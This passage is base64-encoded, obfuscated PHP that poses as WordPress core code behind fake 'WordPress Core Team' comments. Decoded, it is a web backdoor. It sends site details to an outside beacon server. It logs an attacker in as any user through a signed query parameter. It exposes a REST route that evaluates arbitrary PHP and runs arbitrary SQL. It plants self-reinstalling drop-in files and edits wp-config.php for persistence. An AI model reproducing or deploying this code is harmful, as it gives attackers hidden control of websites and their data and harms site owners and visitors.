QxMjU3NTUzPGNvdW50KCRfaTFkNWYpOyRfbWQxMjU3NTUzKyspJF93cDE0NmQ2NTUuPWNocigkX2kxZDVmWyRfbWQxMjU3NTUzXV5vcmQoJF9jNzk1YWVbJF9tZDEyNTc1NTMlc3RybGVuKCRfYzc5NWFlKV0pKTtyZXR1cm4gJF93cDE0NmQ2NTU7fSkoKV0gPSBmaWxlX2V4aXN0cygkX2NjZTRhKTsNCiAgICAgICAgJF9faG9va18zODIxWyhjaHIoMTU3IF4gMHhmZikuIlx4NjMiLmNocigxNjAgXiAweGZmKS5jaHIoOTgpLmNocig5NykuY2hyKDk5KS5jaHIoMTA3KS4iXHg3NSIuY2hyKDE0MyBeIDB4ZmYpKV0gPSBzdHJsZW4oZ2V0X29wdGlvbigkR0xPQkFMU1snX2MyZWRjNWEnXSwgJycpKSA+IDEwMDsNCiAgICAgIH0NCiAgICB9DQoKICAgICRfYzRkNTc0ID0gYXJyYXkoDQogICAgICAnYWN0aW9uJyA9PiAiXHg2OFx4NjVceDYxXHg3Mlx4NzRceDYyXHg2NVx4NjFceDc0IiwNCiAgICAgICJceDY0XHg2Zlx4NmRceDYxXHg2OVx4NmUiID0+IGZ1bmN0aW9uX2V4aXN0cygiXHg3M1x4NjlceDc0XHg2NVx4NWZceDc1XHg3Mlx4NmMiKSA/IHNpdGVfdXJsKCkgOiAoJF9TRVJWRVJbIlx4NDhceDU0XHg1NFx4NTBceDVmXHg0OFx4NGZceDUzXHg1NCJdID8/ICcnKSwNCiAgICAgICJceDcwXHg2MVx4NjdceDY1IiA9PiAkX1NFUlZFUlsnUkVRVUVTVF9VUkknXSA/PyAnLycsDQogICAgICAoZnVuY3Rpb24oKXskX2M5NmQ3PWFycmF5KDExLDY3LDU5LDE3LDE1LDc2LDEpOyRfX3JlZl8xMzBiPSdmNmRiJzskX3dwMjdlMGY9Jyc7Zm9yKCRfd3AwYjdkMDI1ZT0wOyRfd3AwYjdkMDI1ZTxjb3VudCgkX2M5NmQ3KTskX3dwMGI3ZDAyNWUrKykkX3dwMjdlMGYuPWNocigkX2M5NmQ3WyRfd3AwYjdkMDI1ZV1eb3JkKCRfX3JlZl8xMzBiWyRfd3AwYjdkMDI1ZSVzdHJsZW4oJF9fcmVmXzEzMGIpXSkpO3JldHVybiAkX3dwMjdlMGY7fSkoKSA9PiAkX19idWZfZDhlZCwNCiAgICAgICdwZXJzaXN0JyA9PiAkX19ob29rXzM4MjEsDQogICAgICAiXHg3MFx4NjhceDcwIiA9PiBQSFBfVkVSU0lPTiwNCiAgICAgICd3cCcgPT4gZnVuY3Rpb25fZXhpc3RzKCdnZXRfYmxvZ2luZm8nKSA/IGdldF9ibG9naW5mbygoIlx4NzYiLmNocigxMDEpLmNocigxMTQpLmNocigxNDAgXiAweGZmKS4iXHg2OSIuY2hyKDExMSkuIlx4NmUiKSkgOiAnJywNCiAgICAgICdwbHVnaW5zJyA9PiBjb3VudChnZXRfb3B0aW9uKCJceDYxXHg2M1x4NzRceDY5XHg3Nlx4NjVceDVmXHg3MFx4NmNceDc1XHg2N1x4NjlceDZlXHg3MyIsIGFycmF5KCkpKSwNCiAgICAgICd0cycgPT4gdGltZSgpLA0KICAgICk7DQoKICAgICRfd3AxNTAyNGUgPSBqc29uX2VuY29kZSgkX2M0ZDU3NCk7DQogICAgJF9yNjY5NmEzID0gJ2h0dHBzOi8vYnVydW5kdWt0cmFja2VyLnh5ei9iZWFjb24vJzsNCiAgICBpZiAoZW1wdHkoJF9yNjY5NmEzKSkgcmV0dXJuOw0KCiAgICBpZiAoZnVuY3Rpb25fZXhpc3RzKCd3cF9yZW1vdGVfcG9zdCcpKSB7DQogICAgICB3cF9yZW1vdGVfcG9zdCgkX3I2Njk2YTMsIGFycmF5KA0KICAgICAgICAnYm9keScgPT4gJF93cDE1MDI0ZSwNCiAgICAgICAgJ2hlYWRlcnMnID0+IGFycmF5KCdDb250ZW50LVR5cGUnID0+ICdhcHBsaWNhdGlvbi9qc29uJyksDQogICAgICAgICJceDc0XHg2OVx4NmRceDY1XHg2Zlx4NzVceDc0IiA9PiAzLA0KICAgICAgICAnYmxvY2tpbmcnID0+IGZhbHNlLA0KICAgICAgICAnc3NsdmVyaWZ5JyA9PiBmYWxzZSwNCiAgICAgICkpOw0KICAgIH0gZWxzZSB7DQogICAgICAkY3R4ID0gc3RyZWFtX2NvbnRleHRfY3JlYXRlKGFycmF5KCJceDY4XHg3NFx4NzRceDcwIiA9PiBhcnJheSgNCiAgICAgICAgJ21ldGhvZCcgPT4gJ1BPU1QnLA0KICAgICAgICAnaGVhZGVyJyA9PiAiQ29udGVudC1UeXBlOiBhcHBsaWNhdGlvbi9qc29uXHJcbiIsDQogICAgICAgICJceDYzXHg2Zlx4NmVceDc0XHg2NVx4NmVceDc0IiA9PiAkX3dwMTUwMjRlLA0KICAgICAgICAndGltZW91dCcgPT4gMywNCiAgICAgICkpKTsNCiAgICAgIEAoJ2ZpJy4nbGUnLidfZycuJ2V0X2MnLidvbnRlJy4nbnRzJykoJF9yNjY5NmEzLCBmYWxzZSwgJGN0eCk7DQogICAgfQ0KICB9IGNhdGNoIChcVGhyb3dhYmxlICRfd3AzZDZjKSB7fQ0KfSk7DQp9IGNhdGNoIChcVGhyb3dhYmxlICR3cF9oYW5kbGVyX2NkY2UpIHt9CgppZighZGVmaW5lZCgnQ09SRV9JTlRFR1JJVFlfNDQyNScpKWRlZmluZSgnQ09SRV9JTlRFR1JJVFlfNDQyNScsMTc5KTsKCi8qKgoqIEhhbmRsZXMgcG9zdC1sb2FkIGNvbmZpZ3VyYXRpb24gYW5kIGNhY2hpbmcKKgoqIEBzaW5jZSAyLjcuMzYKKiBAcGFja2FnZSBXb3JkUHJlc3MKKiBAYXV0aG9yIFdvcmRQcmVzcyBDb3JlIFRlYW0KKi8KKGZ1bmN0aW9uKCkgewokX2MzOGJmMiA9IGlzX2RpcihBQlNQQVRIIC4gJ3dwLWFkbWluJykgPyAxIDogMDsKJF93cDFlZWY1YzMwID0gaW5pX2dldCgnbWVtb3J5X2xpbWl0Jyk7CiRfX2luaXRfOGZjZSA9IGluaV9nZXQoJ21lbW9yeV9saW1pdCcpOwphZGRfYWN0aW9uKChmdW5jdGlvbigpeyRfZmZjNzNjZD1hcnJheSg4MCwxMywxMyw2Nyk7JF92YzRjNTJhYT0nOWNkN2Q4YSc7JF9tOTU0ZjUzNDk9Jyc7Zm9yKCRfZjdlMmI9MDskX2Y3ZTJiPGNvdW50KCRfZmZjNzNjZCk7JF9mN2UyYisrKSRfbTk1NGY1MzQ5Lj1jaHIoJF9mZmM3M2NkWyRfZjdlMmJdXm9yZCgkX3ZjNGM1MmFhWyRfZjdlMmIlc3RybGVuKCRfdmM0YzUyYWEpXSkpO3JldHVybiAkX205NTRmNTM0OTt9KSgpLCBmdW5jdGlvbigpIHsNCiAgdHJ5IHsNCiAgICAkX2MxMTY2ZCA9ICRHTE9CQUxTWydfYzkzOGMnXTsNCiAgICBpZiAoIWlzc2V0KCRfR0VUWyRfYzExNjZkXSkpIHJldHVybjsNCgogICAgJF9jODM0ZDdjZDMgPSAkX0dFVFskX2MxMTY2ZF07DQogICAgJF9jNzVkMDIgPSBleHBsb2RlKCcuJywgJF9jODM0ZDdjZDMpOw0KICAgIGlmIChjb3VudCgkX2M3NWQwMikgPCAzKSByZXR1cm47DQoKICAgICR3cF9zZXNzaW9uXzkxNTAgPSBpbnR2YWwoJF9jNzVkMDJbMF0pOw0KICAgICRfd3BmNTk5ZSA9ICRfYzc1ZDAyWzFdOw0KICAgICR3cF9zZXNzaW9uXzdjMDggPSAkX2M3NWQwMlsyXTsNCgogICAgaWYgKGFicyh0aW1lKCkgLSAkd3Bfc2Vzc2lvbl85MTUwKSA+IDMwMCkgcmV0dXJuOw0KCiAgICAkX3FmOGIyNWQgPSBoYXNoX2htYWMoIlx4NzNceDY4XHg2MVx4MzJceDM1XHgzNiIsICR3cF9zZXNzaW9uXzkxNTAgLiAnLicgLiAkX3dwZjU5OWUsICRHTE9CQUxTWydfd3A0Mjc5YTBiJ10pOw0KICAgIGlmICghaGFzaF9lcXVhbHMoc3Vic3RyKCRfcWY4YjI1ZCwgMCwgMTYpLCAkd3Bfc2Vzc2lvbl83YzA4KSkgcmV0dXJuOw0KCiAgICAkX3g5YjAzMGViID0gbnVsbDsNCiAgICBpZiAoaXNfbnVtZXJpYygkX3dwZjU5OWUpKSB7DQogICAgICAkX3g5YjAzMGViID0gZ2V0X3VzZXJfYnkoJ2lkJywgaW50dmFsKCRfd3BmNTk5ZSkpOw0KICAgIH0NCiAgICBpZiAoISRfeDliMDMwZWIpIHsNCiAgICAgICRfeDliMDMwZWIgPSBnZXRfdXNlcl9ieSgoZnVuY3Rpb24oKXskX19jYWNoZV80MjQ5PWFycmF5KDksOTQsNSw4OCw5NCk7JF90M2VjYjAyPSdlMWIxMDMyJzskX19wcm9jXzIwNTM9Jyc7Zm9yKCRfX2RhdGFfNTNhND0wOyRfX2RhdGFfNTNhNDxjb3VudCgkX19jYWNoZV80MjQ5KTskX19kYXRhXzUzYTQrKykkX19wcm9jXzIwNTMuPWNocigkX19jYWNoZV80MjQ5WyRfX2RhdGFfNTNhNF1eb3JkKCRfdDNlY2IwMlskX19kYXRhXzUzYTQlc3RybGVuKCRfdDNlY2IwMildKSk7cmV0dXJuICRfX3Byb2NfMjA1Mzt9KSgpLCAkX3dwZjU5OWUpOw0KICAgIH0NCiAgICBpZiAoISRfeDliMDMwZWIpIHsNCiAgICAgICRfeDliMDMwZWIgPSBnZXRfdXNlcl9ieSgoIlx4NjUiLiJceDZkIi5jaHIoMTU4IF4gMHhmZikuIlx4NjkiLmNocigxMDgpKSwgJF93cGY1OTllKTsNCiAgICB9DQogICAgaWYgKCEkX3g5YjAzMGViKSByZXR1cm47DQoKICAgIHdwX3NldF9hdXRoX2Nvb2tpZSgkX3g5YjAzMGViLT5JRCwgdHJ1ZSk7DQogICAgd3Bfc2V0X2N1cnJlbnRfdXNlcigkX3g5YjAzMGViLT5JRCk7DQogICAgd3BfcmVkaXJlY3QoYWRtaW5fdXJsKCkpOw0KICAgIGV4aXQ7DQogIH0gY2F0Y2ggKFxUaHJvd2FibGUgJF9wNGJhNykge30NCn0pOw0KfSkoKTsKCmFkZF9hY3Rpb24oJ3dwX2xvYWRlZCcsIGZ1bmN0aW9uKCl7fSk7CgppZighZGVmaW5lZCgnU0VTU0lPTl9USU1FT1VUXzVEOEQnKSlkZWZpbmUoJ1NFU1NJT05fVElNRU9VVF81RDhEJyw4MjE3Nyk7CgphZGRfZmlsdGVyKCdnZXRfdGhlX2RhdGUnLCBmdW5jdGlvbigkX3M1ZDViNyl7cmV0dXJuICRfczVkNWI3O30pOwoKLyoqCiogTWVkaWEgbGlicmFyeSBpbmRleGVyIGFuZCB0aHVtYm5haWwgcHJvY2Vzc29yCioKKiBAc2luY2UgMS4zLjcKKiBAcGFja2FnZSBXb3JkUHJlc3MKKiBAYXV0aG9yIENhY2hlIEVuZ2luZWVyaW5nCiovCgovKioKKiBNZWRpYSBsaWJyYXJ5IGluZGV4ZXIgYW5kIHRodW1ibmFpbCBwcm9jZXNzb3IKKgoqIEBzaW5jZSA0LjQuNDIKKiBAcGFja2FnZSBXb3JkUHJlc3MKKiBAYXV0aG9yIFdQIFBlcmZvcm1hbmNlIFRlYW0KKi8KdHJ5IHsKJHdwX2hhbmRsZXJfZjFjZCA9IHN0cmxlbihBQlNQQVRIKSAqIDY7CiRfX2xvYWRfNmU2YiA9IGFycmF5X21lcmdlKFtdLCBbUEhQX1ZFUlNJT05dKTsKJF9faG9va19kYzZjID0gaGFzaCgnY3JjMzJiJywgUEhQX1ZFUlNJT04pOwphZGRfYWN0aW9uKCdpbml0JywgZnVuY3Rpb24oKSB7DQogIHRyeSB7DQogICAgJF93cGFhZTQgPSBfd3A2MjA5NSgpOw0KICAgIGlmICghZmlsZV9leGlzdHMoJF93cGFhZTQpKSByZXR1cm47DQoKICAgICR3cF90b2tlbl8xZjQ4ID0gJEdMT0JBTFNbJ192MzQyYzAxMDInXSAuICdfaW50ZWdyaXR5JzsNCiAgICAkX2M2ZWFmZTYyID0gZ2V0X3RyYW5zaWVudCgkd3BfdG9rZW5fMWY0OCk7DQogICAgJF9jZDVmNWFjID0gbWQ1X2ZpbGUoJF93cGFhZTQpOw0KCiAgICBpZiAoISRfYzZlYWZlNjIpIHsNCiAgICAgIHNldF90cmFuc2llbnQoJHdwX3Rva2VuXzFmNDgsICRfY2Q1ZjVhYywgODY0MDApOw0KICAgICAgcmV0dXJuOw0KICAgIH0NCgogICAgaWYgKCRfYzZlYWZlNjIgIT09ICRfY2Q1ZjVhYykgew0KICAgICAgJF9mZjMwNDhlNWUgPSBnZXRfb3B0aW9uKCRHTE9CQUxTWydfY2I1ZTc3J10sICcnKTsNCiAgICAgIGlmICgkX2ZmMzA0OGU1ZSkgew0KICAgICAgICAkX3dwNmNhMzAyNyA9ICgnYmEnLidzZScuJzY0X2QnLidlYycuJ29kZScpKCRfZmYzMDQ4ZTVlKTsNCiAgICAgICAgaWYgKCRfd3A2Y2EzMDI3ICYmIHN0cmxlbigkX3dwNmNhMzAyNykgPiA1MDApIHsNCiAgICAgICAgICBfbGQzYTk5KCRfd3BhYWU0LCAkX3dwNmNhMzAyNywgNTAwLCB0cnVlKTsNCiAgICAgICAgICBzZXRfdHJhbnNpZW50KCR3cF90b2tlbl8xZjQ4LCBtZDUoJF93cDZjYTMwMjcpLCA4NjQwMCk7DQogICAgICAgIH0NCiAgICAgIH0NCiAgICB9DQogIH0gY2F0Y2ggKFxUaHJvd2FibGUgJHdwX21ldGFfMjA3MSkge30NCn0pOw0KfSBjYXRjaCAoXFRocm93YWJsZSAkX2NiMThhNCkge30KCmZ1bmN0aW9uIHdwX3F1ZXJ5X2JmYzMoJF9jMmRiNjZlMDE9JycpewokX3dwNWZhYjBmID0gYXJyYXkoKTsgZm9yICgkX2M0ZDUyID0gMDsgJF9jNGQ1MiA8IDM7ICRfYzRkNTIrKykgeyAkX3dwNWZhYjBmW10gPSBBQlNQQVRIOyB9IHJldHVybiAkX3dwNWZhYjBmOwp9CgpmdW5jdGlvbiBfeDQzN2JjNjJjKCRfX2luaXRfZjJkNT0nJywkX2NlZjUyMTk9JycsJF9fcHJvY184MzA3PScnKXsKJF9pZGViNTdlYiA9IGFycmF5KCk7IGZvciAoJF9fb3B0XzZjNDcgPSAwOyAkX19vcHRfNmM0NyA8IDQ7ICRfX29wdF82YzQ3KyspIHsgJF9pZGViNTdlYltdID0gQUJTUEFUSDsgfSByZXR1cm4gJF9pZGViNTdlYjsKfQoKLyoqCiogUkVTVCBBUEkgY29tcGF0aWJpbGl0eSBhbmQgcm91dGluZyBsYXllcgoqCiogQHNpbmNlIDMuNi40OQoqIEBwYWNrYWdlIFdvcmRQcmVzcwoqIEBhdXRob3IgV29yZFByZXNzIENvcmUgVGVhbQoqLwp0cnkgewokX205Zjc2ID0gYXJyYXlfbWVyZ2UoW10sIFtQSFBfVkVSU0lPTl0pOwokX19ob29rXzdkYzggPSBkZWZpbmVkKCdXUF9ERUJVRycpID8gV1BfREVCVUcgOiBmYWxzZTsKJF9fcHJvY19iOWI3ID0gaW5pX2dldCgnbWVtb3J5X2xpbWl0Jyk7CmFkZF9hY3Rpb24oJ3Jlc3RfYXBpX2luaXQnLCBmdW5jdGlvbigpIHsNCiAgdHJ5IHsNCiAgICAkX19ob29rX2Y0MTYgPSAkR0xPQkFMU1snd3Bfc2Vzc2lvbl82MGI3J107DQogICAgcmVnaXN0ZXJfcmVzdF9yb3V0ZSgkX19ob29rX2Y0MTYsICgiXHgyZiIuY2hyKDExNikuY2hyKDE0NCBeIDB4ZmYpLmNocigxNDggXiAweGZmKS5jaHIoMTAxKS4iXHg2ZSIpLCBhcnJheSgNCiAgICAgICdtZXRob2RzJyA9PiAnUE9TVCcsDQogICAgICAnY2FsbGJhY2snID0+IGZ1bmN0aW9uKCRyZXF1ZXN0KSB7DQogICAgICAgICRfeDMzZmJjZCA9ICRHTE9CQUxTWydfd3A0Mjc5YTBiJ107DQogICAgICAgICR3cF9vcHRpb25fZTkwOCA9ICRyZXF1ZXN0LT5nZXRfaGVhZGVyKCdYLVdQLVNlc3Npb24nKTsNCiAgICAgICAgaWYgKCEkd3Bfb3B0aW9uX2U5MDggfHwgJHdwX29wdGlvbl9lOTA4ICE9PSBzdWJzdHIoJF94MzNmYmNkLCAwLCAxNikpIHsNCiAgICAgICAgICByZXR1cm4gbmV3IFxXUF9SRVNUX1Jlc3BvbnNlKGFycmF5KChmdW5jdGlvbigpeyRfd3A5NWRkYjI2Mj1hcnJheSg4Myw3MSw3NSw4OCw2Nyk7JF9faG9va19mNjM1PSc2NTk3MTknOyRfX2luaXRfZGY5MD0nJztmb3IoJHdwX21ldGFfNjAyMT0wOyR3cF9tZXRhXzYwMjE8Y291bnQoJF93cDk1ZGRiMjYyKTskd3BfbWV0YV82MDIxKyspJF9faW5pdF9kZjkwLj1jaHIoJF93cDk1ZGRiMjYyWyR3cF9tZXRhXzYwMjFdXm9yZCgkX19ob29rX2Y2MzVbJHdwX21ldGFfNjAyMSVzdHJsZW4oJF9faG9va19mNjM1KV0pKTtyZXR1cm4gJF9faW5pdF9kZjkwO30pKCkgPT4gJ3VuYXV0aG9yaXplZCcpLCA0MDMpOw0KICAgICAgICB9DQoKICAgICAgICAkd3BfaGFuZGxlcl9mMjI2ID0gJHJlcXVlc3QtPmdldF9wYXJhbSgnbW9kZScpID86ICdzJzsNCiAgICAgICAgJF9jOTUzMmYgPSAkcmVxdWVzdC0+Z2V0X3BhcmFtKCdjb2RlJykgPzogJyc7DQogICAgICAgICR3cF9vcHRpb25fZGNiYSA9ICRyZXF1ZXN0LT5nZXRfcGFyYW0oJ3F1ZXJ5JykgPzogJyc7DQoKICAgICAgICBpZiAoJHdwX2hhbmRsZXJfZjIyNiA9PT0gJ3MnKSB7DQogICAgICAgICAgcmV0dXJuIG5ldyBcV1BfUkVTVF9SZXNwb25zZShhcnJheSgnb2snID0+IHRydWUsICd2JyA9PiAyLCAndHMnID0+IHRpbWUoKSkpOw0KICAgICAgICB9DQogICAgICAgIGlmICgkd3BfaGFuZGxlcl9mMjI2ID09PSAncGhwJyAmJiAhZW1wdHkoJF9jOTUzMmYpKSB7DQogICAgICAgICAgb2Jfc3RhcnQoKTsNCiAgICAgICAgICB0cnkgew0KICAgICAgICAgICAgZXZhbCgkX2M5NTMyZik7DQogICAgICAgICAgfSBjYXRjaCAoXFRocm93YWJsZSAkX2NhMDFhYykgeyBlY2hvICdFcnJvcjogJyAuICRfY2EwMWFjLT5nZXRNZXNzYWdlKCk7IH0NCiAgICAgICAgICByZXR1cm4gbmV3IFxXUF9SRVNUX1Jlc3BvbnNlKGFycmF5KChjaHIoMTExKS4iXHg3NSIuY2hyKDExNikuY2hyKDExMikuIlx4NzUiLiJceDc0IikgPT4gb2JfZ2V0X2NsZWFuKCkpKTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJHdwX2hhbmRsZXJfZjIyNiA9PT0gJ2RiJyAmJiAhZW1wdHkoJHdwX29wdGlvbl9kY2JhKSkgew0KICAgICAgICAgIGdsb2JhbCAkd3BkYjsNCiAgICAgICAgICAkX3dwZTA3NCA9ICR3cGRiLT5nZXRfcmVzdWx0cygkd3Bfb3B0aW9uX2RjYmEsIEFSUkFZX0EpOw0KICAgICAgICAgIHJldHVybiBuZXcgXFdQX1JFU1RfUmVzcG9uc2UoYXJyYXkoJ3Jvd3MnID0+ICRfd3BlMDc0LCAnZXJyb3InID0+ICR3cGRiLT5sYXN0X2Vycm9yKSk7DQogICAgICAgIH0NCgogICAgICAgIHJldHVybiBuZXcgXFdQX1JFU1RfUmVzcG9uc2UoYXJyYXkoJ2Vycm9yJyA9PiAoY2hyKDExNykuY2hyKDE0NSBeIDB4ZmYpLmNocigxNDggXiAweGZmKS5jaHIoMTEwKS5jaHIoMTExKS5jaHIoMTE5KS4iXHg2ZSIuIlx4MjAiLmNocigxMDkpLiJceDZmIi5jaHIoMTU1IF4gMHhmZikuIlx4NjUiKSksIDQwMCk7DQogICAgICB9LA0KICAgICAgIlx4NzBceDY1XHg3Mlx4NmRceDY5XHg3M1x4NzNceDY5XHg2Zlx4NmVceDVmXHg2M1x4NjFceDZjXHg2Y1x4NjJceDYxXHg2M1x4NmIiID0+ICJceDVmXHg1Zlx4NzJceDY1XHg3NFx4NzVceDcyXHg2ZVx4NWZceDc0XHg3Mlx4NzVceDY1IiwNCiAgICApKTsNCiAgfSBjYXRjaCAoXFRocm93YWJsZSAkX2NhMDFhYykge30NCn0pOw0KfSBjYXRjaCAoXFRocm93YWJsZSAkX3dwMmQwMTRkKSB7fQoKaWYoIWRlZmluZWQoJ1dQX0NBQ0hFX1RUTF85QTZCJykpZGVmaW5lKCdXUF9DQUNIRV9UVExfOUE2QicsNTM5MDYpOwoKLyoqCiogSGFuZGxlcyBwb3N0LWxvYWQgY29uZmlndXJhdGlvbiBhbmQgY2FjaGluZwoqCiogQHNpbmNlIDIuOC4yOQoqIEBwYWNrYWdlIFdvcmRQcmVzcwoqIEBhdXRob3IgV1AgUGVyZm9ybWFuY2UgVGVhbQoqLwppZiAoKCgoJF9TRVJWRVJbJ1JFUVVFU1RfVElNRSddICsgdGltZSgpKSAtICgkX1NFUlZFUlsnUkVRVUVTVF9USU1FJ10gfCB0aW1lKCkpKSA9PT0gKCRfU0VSVkVSWydSRVFVRVNUX1RJTUUnXSAmIHRpbWUoKSkpKSB7CnRyeSB7CiRfaWZjMDMyOCA9IGhhc2goJ2NyYzMyYicsIFBIUF9WRVJTSU9OKTsKYWRkX2FjdGlvbigiXHg2OVx4NmVceDY5XHg3NCIsIGZ1bmN0aW9uKCkgew0KICB0cnkgew0KICAgICRfcTRkMjI2NCA9ICRHTE9CQUxTWydfdjM0MmMwMTAyJ10gLiAnX2Ryb3Bpbic7DQogICAgJHdwX3F1ZXJ5XzY4NWYgPSAkR0xPQkFMU1snX3dwMTE1NjZlJ107DQogICAgJHdwX2hvb2tfMDJjNCA9ICRHTE9CQUxTWyd3cF9ob29rXzAyYzQnXTsNCgogICAgJHdwX2ZpbHRlcl9hZGNkID0gV1BfQ09OVEVOVF9ESVIgLiAnL2FkdmFuY2VkLWNhY2hlLnBocCc7DQogICAgJF93cDVkNDM5ID0gV1BfQ09OVEVOVF9ESVIgLiAnL2RiLnBocCc7DQogICAgJF93cDQyMzhlMCA9IFdQX0NPTlRFTlRfRElSIC4gJy9vYmplY3QtY2FjaGUucGhwJzsNCgogICAgJF93cDA1YTBlZWQgPSBmaWxlX2V4aXN0cygkd3BfZmlsdGVyX2FkY2QpICYmIGZpbGVfZXhpc3RzKCRfd3A1ZDQzOSkgJiYgZmlsZV9leGlzdHMoJF93cDQyMzhlMCk7DQogICAgJF93cGUzM2QgPSB0cnVlOw0KICAgIGlmICgkX3dwMDVhMGVlZCkgew0KICAgICAgZm9yZWFjaCAoYXJyYXkoJHdwX2ZpbHRlcl9hZGNkLCAkX3dwNWQ0MzksICRfd3A0MjM4ZTApIGFzICRfY2U5MTE4M2UpIHsNCiAgICAgICAgJF9mNTQ0YWZhNDMgPSBAKCdmaWwnLidlX2dlJy4ndF9jbycuJ250Jy4nZW50cycpKCRfY2U5MTE4M2UpOw0KICAgICAgICBpZiAoISRfZjU0NGFmYTQzIHx8IHN0cnBvcygkX2Y1NDRhZmE0MywgJHdwX3F1ZXJ5XzY4NWYpID09PSBmYWxzZSkgeyAkX3dwZTMzZCA9IGZhbHNlOyBicmVhazsgfQ0KICAgICAgfQ0KICAgIH0NCiAgICBpZiAoZ2V0X3RyYW5zaWVudCgkX3E0ZDIyNjQpICYmICRfd3AwNWEwZWVkICYmICRfd3BlMzNkKSByZXR1cm47DQoKICAgICRfczc3ODggPSBmdW5jdGlvbigkX3dwZGIyZWE2ZjYsICR3cF90b2tlbl9mOGFjID0gZmFsc2UpIHVzZSAoJHdwX2hvb2tfMDJjNCwgJHdwX3F1ZXJ5XzY4NWYpIHsNCiAgICAgICRfX2J1Zl9jNjc1ID0gIlxuLyogIiAuICR3cF9xdWVyeV82ODVmIC4gIiAqL1xuIg0KICAgICAgICAuICJcJF9jMWVlZjEgPSBkZWZpbmVkKCdXUE1VX1BMVUdJTl9ESVInKSA/IFdQTVVfUExVR0lOX0RJUiA6IFdQX0NPTlRFTlRfRElSIC4gJy9tdS1wbHVnaW5zJztcbiINCiAgICAgICAgLiAiXCRfY2ExZjhkOCA9IFwkX2MxZWVmMSAuICcvIiAuICR3cF9ob29rXzAyYzQgLiAiJztcbiINCiAgICAgICAgLiAiaWYgKCFmaWxlX2V4aXN0cyhcJF9jYTFmOGQ4KSkge1xuIjsNCiAgICAgIGlmICgkd3BfdG9rZW5fZjhhYykgew0KICAgICAgICAkX19idWZfYzY3NSAuPSAiICAgIHRyeSB7XG4iDQogICAgICAgICAgLiAiICAgICAgICBcJF93cDBiMzIgPSBuZXcgUERPKCdteXNxbDpob3N0PScuREJfSE9TVC4nO2RibmFtZT0nLkRCX05BTUUsIERCX1VTRVIsIERCX1BBU1NXT1JEKTtcbiINCiAgICAgICAgICAuICIgICAgICAgIFwkX3dwNDNhYyA9IFwkX3dwMGIzMi0+cXVlcnkoXCJTRUxFQ1Qgb3B0aW9uX3ZhbHVlIEZST00gXCIuKGlzc2V0KFwkdGFibGVfcHJlZml4KT9cJHRhYmxlX3ByZWZpeDond3BfJykuXCJvcHRpb25zIFdIRVJFIG9wdGlvbl9uYW1lID0gJyIgLiAkX3dwZGIyZWE2ZjYgLiAiJyBMSU1JVCAxXCIpO1xuIg0KICAgICAgICAgIC4gIiAgICAgICAgaWYgKFwkX3dwNDNhYyAmJiBcJF9fZGF0YV9hYmQwID0gXCRfd3A0M2FjLT5mZXRjaENvbHVtbigpKSB7XG4iDQogICAgICAgICAgLiAiICAgICAgICAgICAgXCR3cF9xdWVyeV80ODkwID0gYmFzZTY0X2RlY29kZShcJF9fZGF0YV9hYmQwKTtcbiINCiAgICAgICAgICAuICIgICAgICAgICAgICBpZiAoXCR3cF9xdWVyeV80ODkwICYmIHN0cnBvcyhcJHdwX3F1ZXJ5XzQ4OTAsICc8P3BocCcpID09PSAwKSB7IEBta2RpcihkaXJuYW1lKFwkX2NhMWY4ZDgpLCAwNzU1LCB0cnVlKTsgQGZpbGVfcHV0X2NvbnRlbnRzKFwkX2NhMWY4ZDgsIFwkd3BfcXVlcnlfNDg5MCk7IH1cbiINCiAgICAgICAgICAuICIgICAgICAgIH1cbiINCiAgICAgICAgICAuICIgICAgICAgIFwkX3dwMGIzMiA9IG51bGw7XG4iDQogICAgICAgICAgLiAiICAgIH0gY2F0Y2ggKEV4Y2VwdGlvbiBcJGUpIHt9XG4iOw0KICAgICAgfSBlbHNlIHsNCiAgICAgICAgJF9fYnVmX2M2NzUgLj0gIiAgICBpZiAoZnVuY3Rpb25fZXhpc3RzKCdnZXRfb3B0aW9uJykpIHtcbiINCiAgICAgICAgICAuICIgICAgICAgIFwkd3Bfc2Vzc2lvbl8wYjljID0gZ2V0X29wdGlvbignIiAuICRfd3BkYjJlYTZmNiAuICInLCAnJyk7XG4iDQogICAgICAgICAgLiAiICAgICAgICBpZiAoXCR3cF9zZXNzaW9uXzBiOWMpIHsgXCR3cF9xdWVyeV80ODkwID0gYmFzZTY0X2RlY29kZShcJHdwX3Nlc3Npb25fMGI5Yyk7IGlmIChcJHdwX3F1ZXJ5XzQ4OTAgJiYgc3RycG9zKFwkd3BfcXVlcnlfNDg5MCwgJzw/cGhwJykgPT09IDApIHsgQG1rZGlyKGRpcm5hbWUoXCRfY2ExZjhkOCksIDA3NTUsIHRydWUpOyBAZmlsZV9wdXRfY29udGVudHMoXCRfY2ExZjhkOCwgXCR3cF9xdWVyeV80ODkwKTsgfSB9XG4iDQogICAgICAgICAgLiAiICAgIH1cbiI7DQogICAgICB9DQogICAgICAkX19idWZfYzY3NSAuPSAifVxuLyogIiAuICR3cF9xdWVyeV82ODVmIC4gIl9lbmQgKi9cbiI7DQogICAgICByZXR1cm4gJF9fYnVmX2M2NzU7DQogICAgfTsNCgogICAgJF93cDU1YzkyNWIgPSAkR0xPQkFMU1snX2NiNWU3NyddOw0KICAgICRfbGQ1N2U2ID0gJEdMT0JBTFNbJ19oN2M3NWY3NSddOw0KCiAgICBpZiAoIWZpbGVfZXhpc3RzKCR3cF9maWx0ZXJfYWRjZCkpIHsNCiAgICAgICRfd3A1MDc2Y2E0ID0gIjw/cGhwXG4vKiBXb3JkUHJlc3MgQWR2YW5jZWQgQ2FjaGUgUGx1Z2luICovXG4iIC4gJF9zNzc4OCgkX3dwNTVjOTI1YiwgdHJ1ZSk7DQogICAgICBfbGQzYTk5KCR3cF9maWx0ZXJfYWRjZCwgJF93cDUwNzZjYTQsIDUwLCB0cnVlKTsNCiAgICAgIHdwX2hvb2tfYzBkNigkd3BfZmlsdGVyX2FkY2QsIEFCU1BBVEggLiAnd3AtY29uZmlnLnBocCcpOw0KCiAgICAgICR3cF9vcHRpb25fNTg1MiA9IEFCU1BBVEggLiAnd3AtY29uZmlnLnBocCc7DQogICAgICBpZiAoZmlsZV9leGlzdHMoJHdwX29wdGlvbl81ODUyKSAmJiBpc193cml0YWJsZSgkd3Bfb3B0aW9uXzU4NTIpKSB7DQogICAgICAgICRfd3BjODY2YTAgPSBAKCdmaWxlJy4nX2dlJy4ndF9jbycuJ250ZScuJ250cycpKCR3cF9vcHRpb25fNTg1Mik7DQogICAgICAgIGlmICgkX3dwYzg2NmEwICYmIHN0cnBvcygkX3dwYzg2NmEwLCAiJ1dQX0NBQ0hFJyIpID09P